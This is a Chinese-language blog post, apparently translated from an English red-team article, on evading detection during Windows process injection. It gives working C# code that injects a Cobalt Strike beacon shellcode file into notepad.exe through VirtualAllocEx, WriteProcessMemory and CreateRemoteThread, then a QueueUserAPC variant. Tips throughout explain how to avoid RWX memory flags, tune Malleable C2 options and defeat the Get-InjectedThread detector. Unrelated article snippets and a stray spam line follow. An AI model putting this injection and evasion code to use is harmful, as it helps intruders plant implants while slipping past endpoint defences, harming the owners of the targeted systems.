<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    進程注入 OPSEC tips

    VSole2021-11-18 22:14:52

    這篇文章將分析最經典的注入方法:

    VirtualAllocExWriteProcessMemoryCreateRemoteThread
    

    內存分配

    VirtualAllocEx將在目標進程中分配一個新的內存區域。

    // Spawn the target processvar target = new Process{    StartInfo = new ProcessStartInfo    {        FileName = @"C:\Windows\System32otepad.exe",        CreateNoWindow = true,        WindowStyle = ProcessWindowStyle.Hidden    }};
    target.Start();
    // Read in the shellcodevar shellcode = File.ReadAllBytes(@"C:\Payloads\beacon.bin");
    // Allocate a region of memoryvar hMemory = Kernel32.VirtualAllocEx(    target.Handle,    IntPtr.Zero,    shellcode.Length,    Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE | Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT,    Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READWRITE);
    Console.WriteLine("Memory:  0x{0:X}", hMemory);
    

    這將創建一個具有 RWX(讀、寫、執行)權限可以放下shellcode的區域,API 返回內存區域的地址。

    寫入 Shellcode

    WriteProcessMemory將指定的緩沖區寫入內存區域。寫入剛剛創建的區域。該 API 返回一個布爾值,表示寫入是否成功。

    var success = Kernel32.WriteProcessMemory(    target.Handle,    hMemory,    shellcode,    shellcode.Length,    out _);
    

    一旦 shellcode 被寫入,就可以在目標進程的內存中看到。

    執行 Shellcode

    CreateRemoteThread在目標進程中創建一個將執行 shellcode 的新線程。線程的起始地址將指向保存 shellcode 的內存區域。該 API 返回一個已創建線程的句柄。

    var hThread = Kernel32.CreateRemoteThread(    target.Handle,    null,    0,    hMemory,    IntPtr.Zero,    Kernel32.CREATE_THREAD_FLAGS.RUN_IMMEDIATELY,    out _);
    

    這將返回一個在目標進程中運行的 Beacon,例如我們注入到notepad.exe中。

    OPSEC

    RWX

    第一個方面是 RWX 的初始內存分配,這對于AV和EDR來說可能是一個危險信號。那么我們可以最初將其分配為RW,寫入shellcode然后在調用 CreateRemoteThread 之前使用VirtualProtectEx使其成為 RX。

    這樣對于CobaltStrike是可以做的,但是對于Metasploit 等框架的“編碼”shellcode(例如 shikata_ga_nai)。這是因為這些 shellcode 包含一個存根,它在內存中自我解碼,并且這個編碼過程需要寫入和執行權限,所以必須需要RWX。

    Cobalt Strike 反射加載器還有一些可以在Malleable C2 配置文件中指定的附加選項,例如userwx和cleanup。當設置為 false 時,userwx 將告訴加載器不要為自己分配新的 RWX 內存(它將選擇 RX);當 cleanup 設置為 true 時,加載器將釋放用于加載自身的已分配內存。

    如果我們進一步檢查目標進程中的內存區域,可以看到每個RX 區域都由磁盤上的一個模塊支持,但是明顯包含 shellcode 的區域并沒有任何的。如果使用了 RWX,那么它很可能是整個內存中唯一的RWX。這樣特別明顯。

    “正常”行為是進程從磁盤(可能是從 System32 中)加載 DLL,而這種反射 DLL 注入方式不會加載到磁盤上的 DLL。

    檢查進程中正在運行的線程還會發現有一個正在運行的線程不指向帶有模塊的導出函數,同樣也是很明顯的特征。

    我們可以直接使用公開的腳本就可以直接檢測在目標進程中的shellcode

    https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2
    PS C:\Users\Rasta> Get-InjectedThreadName                           Value----                           -----KernelPath                     C:\Windows\System32otepad.exePathMismatch                   FalseAuthenticationPackageAllocatedMemoryProtection      PAGE_READWRITEUserName                       \BaseAddress                    2120897789952IsUniqueThreadToken            FalseCommandLine                    "C:\Windows\System32otepad.exe"Size                           4096ThreadId                       4524Integrity                      MEDIUM_MANDATORY_LEVELSecurityIdentifier             S-1-5-21-3309307143-4008523374-2967785533-1001MemoryProtection               PAGE_READWRITELogonTypeProcessName                    notepad.exeProcessId                      9256MemoryState                    MEM_COMMITLogonIdLogonSessionStartTimePath                           C:\Windows\System32otepad.exeBasePriority                   8MemoryType                     MEM_MAPPEDPrivilege                      SeChangeNotifyPrivilege
    

    在 VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 注入模式這種,兩個主要 OPSEC 問題是 RX 內存區域和沒有磁盤模塊支持的執行線程。

    那么我們可以嘗試使用將 CreateRemoteThread 的使用替換為QueueUserAPC 來解決“線程”問題,也就是使用APC注入。

    調用 CreateProcess API在掛起狀態下打開我們的目標進程。

    var success = Kernel32.CreateProcess(    C:\Windows\System32otepad.exe",    null,    null,    null,    false,    Kernel32.CREATE_PROCESS.CREATE_SUSPENDED,    null,    C:\Windows\System32",    Kernel32.STARTUPINFO.Default,    out var processInformation);
    if (success){    Console.WriteLine($"PID: {processInformation.dwProcessId}");    Console.WriteLine($"TID {processInformation.dwThreadId}");}
    

    跟進一下在內存中的情況,使用進程監控工具,例如任務管理器、進程黑客或進程資源管理器,都會顯示進程的狀態。

    下一步是分配一個新的內存區域并將 shellcode 寫入其中 - 這可以像之前使用 VirtualAllocEx 和 WriteProcessMemory 一樣完成(eg:創建區域為 RW 然后將其更改為 RX 的步驟)。

    var shellcode = File.ReadAllBytes(@"C:\Payload\beacon.bin");
    // Allocate as RWvar hMemory = Kernel32.VirtualAllocEx(    processInformation.hProcess,    IntPtr.Zero,    shellcode.Length,    Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT | Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE,    Kernel32.MEM_PROTECTION.PAGE_READWRITE);
    // Write the shellcodesuccess = Kernel32.WriteProcessMemory(    processInformation.hProcess,    hMemory,    shellcode,    shellcode.Length,    out _);
    // Change to RXsuccess = Kernel32.VirtualProtectEx(    processInformation.hProcess,    hMemory,    shellcode.Length,    Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READ,    out _);
    

    對 QueueUserAPC 的調用非常簡單——我們提供了 shellcode 在內存中的位置,以及我們想要排隊的線程的句柄。

    var result = Kernel32.QueueUserAPC(    hMemory,    processInformation.hThread,    IntPtr.Zero);
    

    完成后,只需恢復線程。

    result = Kernel32.ResumeThread(processInformation.hThread);
    

    然后回到Cobaltstrike中

    在Process Hacker中可以看到:

    可以看到 Beacon 的執行線程返回到宿主進程的主模塊。與以前不同的是,我們沒有額外的線程不會返回到模塊,并且Get-InjectedThread檢測不到。

    PS C:\Tools> ipmo .\Get-InjectedThread.ps1PS C:\Tools> Get-InjectedThreadPSC:\Tools>
    

    https://rastamouse.me/exploring-process-injection-opsec-part-2/

    https://rastamouse.me/exploring-process-injection-opsec-part-1/

    線程
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言 本章分為兩個議題 如何正確關閉線程池 shutdown 和 shutdownNow 的區別 項目環境 jdk 1.8 github 地址:https://github.com/huajiexiewenfeng/java-concurrent 本章模塊:threadpool 1.線程池示例
    ArrayList是線程不安全的,于是JDK新增加了一個線程并發安全的List——CopyOnWriteList,中心思想就是copy-on-write,簡單來說是讀寫分離:讀時共享、寫時復制(原本的array)更新(且為獨占式的加鎖),而我們下面分析的源碼具體實現也是這個思想的體現。 繼承體系:
    Java線程安全:狹義地認為是多線程之間共享數據的訪問。 Java語言中各種操作共享的數據有5種類型:不可變、絕對線程安全、相對線程安全、線程兼容、線程獨立
    進程和線程
    2021-09-26 16:32:12
    看雪論壇作者ID:L0x1c
    通過Scala對文件進行讀寫操作在實際業務中應用也比較多,這里介紹幾種常用的方式,直接上代碼:1.從文件中讀取內容object Main {. 但是ArrayBuffer 進行添加元素時,使用方法:+=。= new ArrayBuffer[Int],索引容量情況:下當array長度為1,但大小0已經大于16,并且array沒有及時擴展時,會報越界。
    Check Point發現,新版本的特洛伊木馬正在迅速傳播,并已在全球范圍內奪走了100,000名受害者。 據Check Point 的研究人員星期四發表了關于他們發現的報告稱,Qbot是自2008年以來不斷發展的信息竊取木馬,再次改變了...
    Carbon Black的安全研究人員在周三的一份報告中說,一種名為Conti的勒索病毒正在使用多達32個并行CPU線程來對受感染計算機上的文件進行加密,以達到極快的加密速度。Conti只是今年發現的一系列勒索軟件中最新的一種。安全研究人員于今年 2 月初首次發現了Conti開發人員,但是Carbon Black現在報道其TAU 發現了Conti感染。Carbon Black的TAU在周三發布的技術報告中說,在分析Conti代碼時突出的項目是對多線程操作的支持。
    APC機制初探
    2022-05-31 16:10:02
    本質 線程是不能被“殺掉”、“掛起”、“恢復”的,線程在執行的時候自己占據著CPU,別人怎么可能控制它呢?舉個極端的例子:如果不調用API,屏蔽中斷,并保證代碼不出現異常,線程將永久占用CPU,何談控制呢?所以說線程如果想“死”,一定是自己執行代碼把自己殺死,不存在“他殺”這種情況!那如果想改變一個線程的行為該怎么辦呢?可以給他提供一個函數,讓它自己去調用,這個函數就是APC,即異步過程調用。
    除了幾個現成的集成之外,Acunetix還提供了一個API,使您可以將掃描儀與任何環境集成在一起。Acunetix API允許您使用任何掃描儀功能,而無需訪問掃描儀UI。作為示例,我們將向您展示如何使用Python調用Acunetix API...
    用來恢復線程,如果函數成功, 則傳回線程的前一個掛起次數。如果失敗, 則傳回0xFFFFFFFF。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类